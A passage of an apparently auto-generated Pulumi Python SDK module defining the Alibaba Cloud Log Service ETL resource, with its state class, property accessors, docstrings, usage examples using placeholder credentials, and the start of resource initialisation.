An KMS encryption context used to decrypt `kms_encrypted_access_key_secret` before creating or updating an instance with `kms_encrypted_access_key_secret`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
"""
return pulumi.get(self, "kms_encryption_access_key_secret_context")
@kms_encryption_access_key_secret_context.setter
def kms_encryption_access_key_secret_context(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "kms_encryption_access_key_secret_context", value)
@property
@pulumi.getter(name="lastModifiedTime")
def last_modified_time(self) -> Optional[pulumi.Input[int]]:
"""
ETL job last modified time.
"""
return pulumi.get(self, "last_modified_time")
@last_modified_time.setter
def last_modified_time(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "last_modified_time", value)
@property
@pulumi.getter
def parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Advanced parameter configuration of processing operations.
"""
return pulumi.get(self, "parameters")
@parameters.setter
def parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "parameters", value)
@property
@pulumi.getter(name="roleArn")
def role_arn(self) -> Optional[pulumi.Input[str]]:
"""
Sts role info under delivery target logstore. `role_arn` and `(access_key_id, access_key_secret)` fill in at most one. If you do not fill in both, then you must fill in `(kms_encrypted_access_key_id, kms_encrypted_access_key_secret, kms_encryption_access_key_id_context, kms_encryption_access_key_secret_context)` to use KMS to get the key pair.
"""
return pulumi.get(self, "role_arn")
@role_arn.setter
def role_arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "role_arn", value)
@property
@pulumi.getter
def schedule(self) -> Optional[pulumi.Input[str]]:
"""
Job scheduling type, the default value is Resident.
"""
return pulumi.get(self, "schedule")
@schedule.setter
def schedule(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "schedule", value)
@property
@pulumi.getter
def status(self) -> Optional[pulumi.Input[str]]:
"""
Log project tags. the default value is RUNNING, Only 4 values are supported: `STARTING`，`RUNNING`，`STOPPING`，`STOPPED`.
"""
return pulumi.get(self, "status")
@status.setter
def status(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "status", value)
@property
@pulumi.getter(name="toTime")
def to_time(self) -> Optional[pulumi.Input[int]]:
"""
Deadline of processing job, the default value is None.
"""
return pulumi.get(self, "to_time")
@to_time.setter
def to_time(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "to_time", value)
@property
@pulumi.getter
def version(self) -> Optional[pulumi.Input[int]]:
"""
Log etl job version. the default value is `2`.
"""
return pulumi.get(self, "version")
@version.setter
def version(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "version", value)
@pulumi.input_type
class _EtlState:
def __init__(__self__, *,
access_key_id: Optional[pulumi.Input[str]] = None,
access_key_secret: Optional[pulumi.Input[str]] = None,
create_time: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
etl_name: Optional[pulumi.Input[str]] = None,
etl_sinks: Optional[pulumi.Input[Sequence[pulumi.Input['EtlEtlSinkArgs']]]] = None,
etl_type: Optional[pulumi.Input[str]] = None,
from_time: Optional[pulumi.Input[int]] = None,
kms_encrypted_access_key_id: Optional[pulumi.Input[str]] = None,
kms_encrypted_access_key_secret: Optional[pulumi.Input[str]] = None,
kms_encryption_access_key_id_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
kms_encryption_access_key_secret_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
last_modified_time: Optional[pulumi.Input[int]] = None,
logstore: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
project: Optional[pulumi.Input[str]] = None,
role_arn: Optional[pulumi.Input[str]] = None,
schedule: Optional[pulumi.Input[str]] = None,
script: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
to_time: Optional[pulumi.Input[int]] = None,
version: Optional[pulumi.Input[int]] = None):
"""
Input properties used for looking up and filtering Etl resources.
:param pulumi.Input[str] access_key_id: Delivery target logstore access key id.
:param pulumi.Input[str] access_key_secret: Delivery target logstore access key secret.
:param pulumi.Input[int] create_time: The etl job create time.
:param pulumi.Input[str] description: Description of the log etl job.
:param pulumi.Input[str] display_name: Log service etl job alias.
:param pulumi.Input[str] etl_name: The name of the log etl job.
:param pulumi.Input[Sequence[pulumi.Input['EtlEtlSinkArgs']]] etl_sinks: Target logstore configuration for delivery after data processing.
:param pulumi.Input[str] etl_type: Log service etl type, the default value is `ETL`.
:param pulumi.Input[int] from_time: The start time of the processing job, the default starts from the current time.
:param pulumi.Input[str] kms_encrypted_access_key_id: An KMS encrypts access key id used to a log etl job. If the `access_key_id` is filled in, this field will be ignored.
:param pulumi.Input[str] kms_encrypted_access_key_secret: An KMS encrypts access key secret used to a log etl job. If the `access_key_secret` is filled in, this field will be ignored.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_access_key_id_context: An KMS encryption context used to decrypt `kms_encrypted_access_key_id` before creating or updating an instance with `kms_encrypted_access_key_id`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_access_key_secret_context: An KMS encryption context used to decrypt `kms_encrypted_access_key_secret` before creating or updating an instance with `kms_encrypted_access_key_secret`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
:param pulumi.Input[int] last_modified_time: ETL job last modified time.
:param pulumi.Input[str] logstore: Delivery target logstore.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: Advanced parameter configuration of processing operations.
:param pulumi.Input[str] project: The project where the target logstore is delivered.
:param pulumi.Input[str] role_arn: Sts role info under delivery target logstore. `role_arn` and `(access_key_id, access_key_secret)` fill in at most one. If you do not fill in both, then you must fill in `(kms_encrypted_access_key_id, kms_encrypted_access_key_secret, kms_encryption_access_key_id_context, kms_encryption_access_key_secret_context)` to use KMS to get the key pair.
:param pulumi.Input[str] schedule: Job scheduling type, the default value is Resident.
:param pulumi.Input[str] script: Processing operation grammar.
:param pulumi.Input[str] status: Log project tags. the default value is RUNNING, Only 4 values are supported: `STARTING`，`RUNNING`，`STOPPING`，`STOPPED`.
:param pulumi.Input[int] to_time: Deadline of processing job, the default value is None.
:param pulumi.Input[int] version: Log etl job version. the default value is `2`.
"""
if access_key_id is not None:
pulumi.set(__self__, "access_key_id", access_key_id)
if access_key_secret is not None:
pulumi.set(__self__, "access_key_secret", access_key_secret)
if create_time is not None:
pulumi.set(__self__, "create_time", create_time)
if description is not None:
pulumi.set(__self__, "description", description)
if display_name is not None:
pulumi.set(__self__, "display_name", display_name)
if etl_name is not None:
pulumi.set(__self__, "etl_name", etl_name)
if etl_sinks is not None:
pulumi.set(__self__, "etl_sinks", etl_sinks)
if etl_type is not None:
pulumi.set(__self__, "etl_type", etl_type)
if from_time is not None:
pulumi.set(__self__, "from_time", from_time)
if kms_encrypted_access_key_id is not None:
pulumi.set(__self__, "kms_encrypted_access_key_id", kms_encrypted_access_key_id)
if kms_encrypted_access_key_secret is not None:
pulumi.set(__self__, "kms_encrypted_access_key_secret", kms_encrypted_access_key_secret)
if kms_encryption_access_key_id_context is not None:
pulumi.set(__self__, "kms_encryption_access_key_id_context", kms_encryption_access_key_id_context)
if kms_encryption_access_key_secret_context is not None:
pulumi.set(__self__, "kms_encryption_access_key_secret_context", kms_encryption_access_key_secret_context)
if last_modified_time is not None:
pulumi.set(__self__, "last_modified_time", last_modified_time)
if logstore is not None:
pulumi.set(__self__, "logstore", logstore)
if parameters is not None:
pulumi.set(__self__, "parameters", parameters)
if project is not None:
pulumi.set(__self__, "project", project)
if role_arn is not None:
pulumi.set(__self__, "role_arn", role_arn)
if schedule is not None:
pulumi.set(__self__, "schedule", schedule)
if script is not None:
pulumi.set(__self__, "script", script)
if status is not None:
pulumi.set(__self__, "status", status)
if to_time is not None:
pulumi.set(__self__, "to_time", to_time)
if version is not None:
pulumi.set(__self__, "version", version)
@property
@pulumi.getter(name="accessKeyId")
def access_key_id(self) -> Optional[pulumi.Input[str]]:
"""
Delivery target logstore access key id.
"""
return pulumi.get(self, "access_key_id")
@access_key_id.setter
def access_key_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "access_key_id", value)
@property
@pulumi.getter(name="accessKeySecret")
def access_key_secret(self) -> Optional[pulumi.Input[str]]:
"""
Delivery target logstore access key secret.
"""
return pulumi.get(self, "access_key_secret")
@access_key_secret.setter
def access_key_secret(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "access_key_secret", value)
@property
@pulumi.getter(name="createTime")
def create_time(self) -> Optional[pulumi.Input[int]]:
"""
The etl job create time.
"""
return pulumi.get(self, "create_time")
@create_time.setter
def create_time(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "create_time", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
Description of the log etl job.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> Optional[pulumi.Input[str]]:
"""
Log service etl job alias.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="etlName")
def etl_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the log etl job.
"""
return pulumi.get(self, "etl_name")
@etl_name.setter
def etl_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etl_name", value)
@property
@pulumi.getter(name="etlSinks")
def etl_sinks(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['EtlEtlSinkArgs']]]]:
"""
Target logstore configuration for delivery after data processing.
"""
return pulumi.get(self, "etl_sinks")
@etl_sinks.setter
def etl_sinks(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['EtlEtlSinkArgs']]]]):
pulumi.set(self, "etl_sinks", value)
@property
@pulumi.getter(name="etlType")
def etl_type(self) -> Optional[pulumi.Input[str]]:
"""
Log service etl type, the default value is `ETL`.
"""
return pulumi.get(self, "etl_type")
@etl_type.setter
def etl_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etl_type", value)
@property
@pulumi.getter(name="fromTime")
def from_time(self) -> Optional[pulumi.Input[int]]:
"""
The start time of the processing job, the default starts from the current time.
"""
return pulumi.get(self, "from_time")
@from_time.setter
def from_time(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "from_time", value)
@property
@pulumi.getter(name="kmsEncryptedAccessKeyId")
def kms_encrypted_access_key_id(self) -> Optional[pulumi.Input[str]]:
"""
An KMS encrypts access key id used to a log etl job. If the `access_key_id` is filled in, this field will be ignored.
"""
return pulumi.get(self, "kms_encrypted_access_key_id")
@kms_encrypted_access_key_id.setter
def kms_encrypted_access_key_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "kms_encrypted_access_key_id", value)
@property
@pulumi.getter(name="kmsEncryptedAccessKeySecret")
def kms_encrypted_access_key_secret(self) -> Optional[pulumi.Input[str]]:
"""
An KMS encrypts access key secret used to a log etl job. If the `access_key_secret` is filled in, this field will be ignored.
"""
return pulumi.get(self, "kms_encrypted_access_key_secret")
@kms_encrypted_access_key_secret.setter
def kms_encrypted_access_key_secret(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "kms_encrypted_access_key_secret", value)
@property
@pulumi.getter(name="kmsEncryptionAccessKeyIdContext")
def kms_encryption_access_key_id_context(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
An KMS encryption context used to decrypt `kms_encrypted_access_key_id` before creating or updating an instance with `kms_encrypted_access_key_id`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
"""
return pulumi.get(self, "kms_encryption_access_key_id_context")
@kms_encryption_access_key_id_context.setter
def kms_encryption_access_key_id_context(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "kms_encryption_access_key_id_context", value)
@property
@pulumi.getter(name="kmsEncryptionAccessKeySecretContext")
def kms_encryption_access_key_secret_context(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
An KMS encryption context used to decrypt `kms_encrypted_access_key_secret` before creating or updating an instance with `kms_encrypted_access_key_secret`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
"""
return pulumi.get(self, "kms_encryption_access_key_secret_context")
@kms_encryption_access_key_secret_context.setter
def kms_encryption_access_key_secret_context(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "kms_encryption_access_key_secret_context", value)
@property
@pulumi.getter(name="lastModifiedTime")
def last_modified_time(self) -> Optional[pulumi.Input[int]]:
"""
ETL job last modified time.
"""
return pulumi.get(self, "last_modified_time")
@last_modified_time.setter
def last_modified_time(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "last_modified_time", value)
@property
@pulumi.getter
def logstore(self) -> Optional[pulumi.Input[str]]:
"""
Delivery target logstore.
"""
return pulumi.get(self, "logstore")
@logstore.setter
def logstore(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "logstore", value)
@property
@pulumi.getter
def parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Advanced parameter configuration of processing operations.
"""
return pulumi.get(self, "parameters")
@parameters.setter
def parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "parameters", value)
@property
@pulumi.getter
def project(self) -> Optional[pulumi.Input[str]]:
"""
The project where the target logstore is delivered.
"""
return pulumi.get(self, "project")
@project.setter
def project(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "project", value)
@property
@pulumi.getter(name="roleArn")
def role_arn(self) -> Optional[pulumi.Input[str]]:
"""
Sts role info under delivery target logstore. `role_arn` and `(access_key_id, access_key_secret)` fill in at most one. If you do not fill in both, then you must fill in `(kms_encrypted_access_key_id, kms_encrypted_access_key_secret, kms_encryption_access_key_id_context, kms_encryption_access_key_secret_context)` to use KMS to get the key pair.
"""
return pulumi.get(self, "role_arn")
@role_arn.setter
def role_arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "role_arn", value)
@property
@pulumi.getter
def schedule(self) -> Optional[pulumi.Input[str]]:
"""
Job scheduling type, the default value is Resident.
"""
return pulumi.get(self, "schedule")
@schedule.setter
def schedule(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "schedule", value)
@property
@pulumi.getter
def script(self) -> Optional[pulumi.Input[str]]:
"""
Processing operation grammar.
"""
return pulumi.get(self, "script")
@script.setter
def script(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "script", value)
@property
@pulumi.getter
def status(self) -> Optional[pulumi.Input[str]]:
"""
Log project tags. the default value is RUNNING, Only 4 values are supported: `STARTING`，`RUNNING`，`STOPPING`，`STOPPED`.
"""
return pulumi.get(self, "status")
@status.setter
def status(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "status", value)
@property
@pulumi.getter(name="toTime")
def to_time(self) -> Optional[pulumi.Input[int]]:
"""
Deadline of processing job, the default value is None.
"""
return pulumi.get(self, "to_time")
@to_time.setter
def to_time(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "to_time", value)
@property
@pulumi.getter
def version(self) -> Optional[pulumi.Input[int]]:
"""
Log etl job version. the default value is `2`.
"""
return pulumi.get(self, "version")
@version.setter
def version(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "version", value)
class Etl(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
access_key_id: Optional[pulumi.Input[str]] = None,
access_key_secret: Optional[pulumi.Input[str]] = None,
create_time: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
etl_name: Optional[pulumi.Input[str]] = None,
etl_sinks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['EtlEtlSinkArgs']]]]] = None,
etl_type: Optional[pulumi.Input[str]] = None,
from_time: Optional[pulumi.Input[int]] = None,
kms_encrypted_access_key_id: Optional[pulumi.Input[str]] = None,
kms_encrypted_access_key_secret: Optional[pulumi.Input[str]] = None,
kms_encryption_access_key_id_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
kms_encryption_access_key_secret_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
last_modified_time: Optional[pulumi.Input[int]] = None,
logstore: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
project: Optional[pulumi.Input[str]] = None,
role_arn: Optional[pulumi.Input[str]] = None,
schedule: Optional[pulumi.Input[str]] = None,
script: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
to_time: Optional[pulumi.Input[int]] = None,
version: Optional[pulumi.Input[int]] = None,
__props__=None):
"""
The data processing function of the log service is a hosted, highly available, and scalable data processing service,
which is widely applicable to scenarios such as data regularization, enrichment, distribution, aggregation, and index reconstruction.
[Refer to details](https://www.alibabacloud.com/help/zh/doc-detail/125384.htm).
> **NOTE:** Available in 1.120.0
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
example_project = alicloud.log.Project("exampleProject", description="created by terraform")
example_store = alicloud.log.Store("exampleStore",
project=example_project.name,
retention_period=3650,
shard_count=3,
auto_split=True,
max_split_shard_count=60,
append_meta=True)
example2 = alicloud.log.Store("example2",
project=example_project.name,
retention_period=3650,
shard_count=3,
auto_split=True,
max_split_shard_count=60,
append_meta=True)
example3 = alicloud.log.Store("example3",
project=example_project.name,
retention_period=3650,
shard_count=3,
auto_split=True,
max_split_shard_count=60,
append_meta=True)
example_etl = alicloud.log.Etl("exampleEtl",
etl_name="etl_name",
project=example_project.name,
display_name="display_name",
description="etl_description",
access_key_id="access_key_id",
access_key_secret="access_key_secret",
script="e_set('new','key')",
logstore=example_store.name,
etl_sinks=[
alicloud.log.EtlEtlSinkArgs(
name="target_name",
access_key_id="example2_access_key_id",
access_key_secret="example2_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=example_project.name,
logstore=example2.name,
),
alicloud.log.EtlEtlSinkArgs(
name="target_name2",
access_key_id="example3_access_key_id",
access_key_secret="example3_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=example_project.name,
logstore=example3.name,
),
])
```
Stop the task in progress
```python
import pulumi
import pulumi_alicloud as alicloud
example = alicloud.log.Etl("example",
status=stopped,
etl_name="etl_name",
project=alicloud_log_project["example"]["name"],
display_name="display_name",
description="etl_description",
access_key_id="access_key_id",
access_key_secret="access_key_secret",
script="e_set('new','key')",
logstore=alicloud_log_store["example"]["name"],
etl_sinks=[
alicloud.log.EtlEtlSinkArgs(
name="target_name",
access_key_id="example2_access_key_id",
access_key_secret="example2_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=alicloud_log_project["example"]["name"],
logstore=alicloud_log_store["example2"]["name"],
),
alicloud.log.EtlEtlSinkArgs(
name="target_name2",
access_key_id="example3_access_key_id",
access_key_secret="example3_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=alicloud_log_project["example"]["name"],
logstore=alicloud_log_store["example3"]["name"],
),
])
```
ReStart the stopped task
```python
import pulumi
import pulumi_alicloud as alicloud
example = alicloud.log.Etl("example",
status=running,
etl_name="etl_name",
project=alicloud_log_project["example"]["name"],
display_name="display_name",
description="etl_description",
access_key_id="access_key_id",
access_key_secret="access_key_secret",
script="e_set('new','key')",
logstore=alicloud_log_store["example"]["name"],
etl_sinks=[
alicloud.log.EtlEtlSinkArgs(
name="target_name",
access_key_id="example2_access_key_id",
access_key_secret="example2_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=alicloud_log_project["example"]["name"],
logstore=alicloud_log_store["example2"]["name"],
),
alicloud.log.EtlEtlSinkArgs(
name="target_name2",
access_key_id="example3_access_key_id",
access_key_secret="example3_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=alicloud_log_project["example"]["name"],
logstore=alicloud_log_store["example3"]["name"],
),
])
```
## Import
Log etl can be imported using the id, e.g.
```sh
$ pulumi import alicloud:log/etl:Etl example tf-log-project:tf-log-etl-name
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] access_key_id: Delivery target logstore access key id.
:param pulumi.Input[str] access_key_secret: Delivery target logstore access key secret.
:param pulumi.Input[int] create_time: The etl job create time.
:param pulumi.Input[str] description: Description of the log etl job.
:param pulumi.Input[str] display_name: Log service etl job alias.
:param pulumi.Input[str] etl_name: The name of the log etl job.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['EtlEtlSinkArgs']]]] etl_sinks: Target logstore configuration for delivery after data processing.
:param pulumi.Input[str] etl_type: Log service etl type, the default value is `ETL`.
:param pulumi.Input[int] from_time: The start time of the processing job, the default starts from the current time.
:param pulumi.Input[str] kms_encrypted_access_key_id: An KMS encrypts access key id used to a log etl job. If the `access_key_id` is filled in, this field will be ignored.
:param pulumi.Input[str] kms_encrypted_access_key_secret: An KMS encrypts access key secret used to a log etl job. If the `access_key_secret` is filled in, this field will be ignored.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_access_key_id_context: An KMS encryption context used to decrypt `kms_encrypted_access_key_id` before creating or updating an instance with `kms_encrypted_access_key_id`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_access_key_secret_context: An KMS encryption context used to decrypt `kms_encrypted_access_key_secret` before creating or updating an instance with `kms_encrypted_access_key_secret`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
:param pulumi.Input[int] last_modified_time: ETL job last modified time.
:param pulumi.Input[str] logstore: Delivery target logstore.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: Advanced parameter configuration of processing operations.
:param pulumi.Input[str] project: The project where the target logstore is delivered.
:param pulumi.Input[str] role_arn: Sts role info under delivery target logstore. `role_arn` and `(access_key_id, access_key_secret)` fill in at most one. If you do not fill in both, then you must fill in `(kms_encrypted_access_key_id, kms_encrypted_access_key_secret, kms_encryption_access_key_id_context, kms_encryption_access_key_secret_context)` to use KMS to get the key pair.
:param pulumi.Input[str] schedule: Job scheduling type, the default value is Resident.
:param pulumi.Input[str] script: Processing operation grammar.
:param pulumi.Input[str] status: Log project tags. the default value is RUNNING, Only 4 values are supported: `STARTING`，`RUNNING`，`STOPPING`，`STOPPED`.
:param pulumi.Input[int] to_time: Deadline of processing job, the default value is None.
:param pulumi.Input[int] version: Log etl job version. the default value is `2`.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: EtlArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
The data processing function of the log service is a hosted, highly available, and scalable data processing service,
which is widely applicable to scenarios such as data regularization, enrichment, distribution, aggregation, and index reconstruction.
[Refer to details](https://www.alibabacloud.com/help/zh/doc-detail/125384.htm).
> **NOTE:** Available in 1.120.0
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
example_project = alicloud.log.Project("exampleProject", description="created by terraform")
example_store = alicloud.log.Store("exampleStore",
project=example_project.name,
retention_period=3650,
shard_count=3,
auto_split=True,
max_split_shard_count=60,
append_meta=True)
example2 = alicloud.log.Store("example2",
project=example_project.name,
retention_period=3650,
shard_count=3,
auto_split=True,
max_split_shard_count=60,
append_meta=True)
example3 = alicloud.log.Store("example3",
project=example_project.name,
retention_period=3650,
shard_count=3,
auto_split=True,
max_split_shard_count=60,
append_meta=True)
example_etl = alicloud.log.Etl("exampleEtl",
etl_name="etl_name",
project=example_project.name,
display_name="display_name",
description="etl_description",
access_key_id="access_key_id",
access_key_secret="access_key_secret",
script="e_set('new','key')",
logstore=example_store.name,
etl_sinks=[
alicloud.log.EtlEtlSinkArgs(
name="target_name",
access_key_id="example2_access_key_id",
access_key_secret="example2_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=example_project.name,
logstore=example2.name,
),
alicloud.log.EtlEtlSinkArgs(
name="target_name2",
access_key_id="example3_access_key_id",
access_key_secret="example3_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=example_project.name,
logstore=example3.name,
),
])
```
Stop the task in progress
```python
import pulumi
import pulumi_alicloud as alicloud
example = alicloud.log.Etl("example",
status=stopped,
etl_name="etl_name",
project=alicloud_log_project["example"]["name"],
display_name="display_name",
description="etl_description",
access_key_id="access_key_id",
access_key_secret="access_key_secret",
script="e_set('new','key')",
logstore=alicloud_log_store["example"]["name"],
etl_sinks=[
alicloud.log.EtlEtlSinkArgs(
name="target_name",
access_key_id="example2_access_key_id",
access_key_secret="example2_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=alicloud_log_project["example"]["name"],
logstore=alicloud_log_store["example2"]["name"],
),
alicloud.log.EtlEtlSinkArgs(
name="target_name2",
access_key_id="example3_access_key_id",
access_key_secret="example3_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=alicloud_log_project["example"]["name"],
logstore=alicloud_log_store["example3"]["name"],
),
])
```
ReStart the stopped task
```python
import pulumi
import pulumi_alicloud as alicloud
example = alicloud.log.Etl("example",
status=running,
etl_name="etl_name",
project=alicloud_log_project["example"]["name"],
display_name="display_name",
description="etl_description",
access_key_id="access_key_id",
access_key_secret="access_key_secret",
script="e_set('new','key')",
logstore=alicloud_log_store["example"]["name"],
etl_sinks=[
alicloud.log.EtlEtlSinkArgs(
name="target_name",
access_key_id="example2_access_key_id",
access_key_secret="example2_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=alicloud_log_project["example"]["name"],
logstore=alicloud_log_store["example2"]["name"],
),
alicloud.log.EtlEtlSinkArgs(
name="target_name2",
access_key_id="example3_access_key_id",
access_key_secret="example3_access_key_secret",
endpoint="cn-hangzhou.log.aliyuncs.com",
project=alicloud_log_project["example"]["name"],
logstore=alicloud_log_store["example3"]["name"],
),
])
```
## Import
Log etl can be imported using the id, e.g.
```sh
$ pulumi import alicloud:log/etl:Etl example tf-log-project:tf-log-etl-name
```
:param str resource_name: The name of the resource.
:param EtlArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(EtlArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
access_key_id: Optional[pulumi.Input[str]] = None,
access_key_secret: Optional[pulumi.Input[str]] = None,
create_time: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
etl_name: Optional[pulumi.Input[str]] = None,
etl_sinks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['EtlEtlSinkArgs']]]]] = None,
etl_type: Optional[pulumi.Input[str]] = None,
from_time: Optional[pulumi.Input[int]] = None,
kms_encrypted_access_key_id: Optional[pulumi.Input[str]] = None,
kms_encrypted_access_key_secret: Optional[pulumi.Input[str]] = None,
kms_encryption_access_key_id_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
kms_encryption_access_key_secret_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
last_modified_time: Optional[pulumi.Input[int]] = None,
logstore: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
project: Optional[pulumi.Input[str]] = None,
role_arn: Optional[pulumi.Input[str]] = None,
schedule: Optional[pulumi.Input[str]] = None,
script: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
to_time: Optional[pulumi.Input[int]] = None,
version: Optional[pulumi.Input[int]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = EtlArgs.__new__(EtlArgs)
__props__.__dict__["access_key_id"] = access_key_id
__props__.__dict__["access_key_secret"] = access_key_secret
__props__.__dict__["create_time"] = create_time
__props__.__dict__["description"] = description
if display_name is None and not opts.urn:
raise TypeError("Missing required property 'display_name'")
__props__.__dict__["display_name"] = display_name
if etl_name is None and not opts.urn:
raise TypeError("Missing required property 'etl_name'")
__props__.__dict__["etl_name"] = etl_name
if etl_sinks is None and not opts.urn:
raise TypeError("Missing required property 'etl_sinks'")
__props__.__dict__["etl_sinks"] = etl_sinks
__props__.__dict__["etl_type"] = etl_type
__props__.__dict__["from_time"] = from_time
__props__.__dict__["kms_encrypted_access_key_id"] = kms_encrypted_access_key_id
__props__.__dict__["kms_encrypted_access_key_secret"] = kms_encrypted_access_key_secret
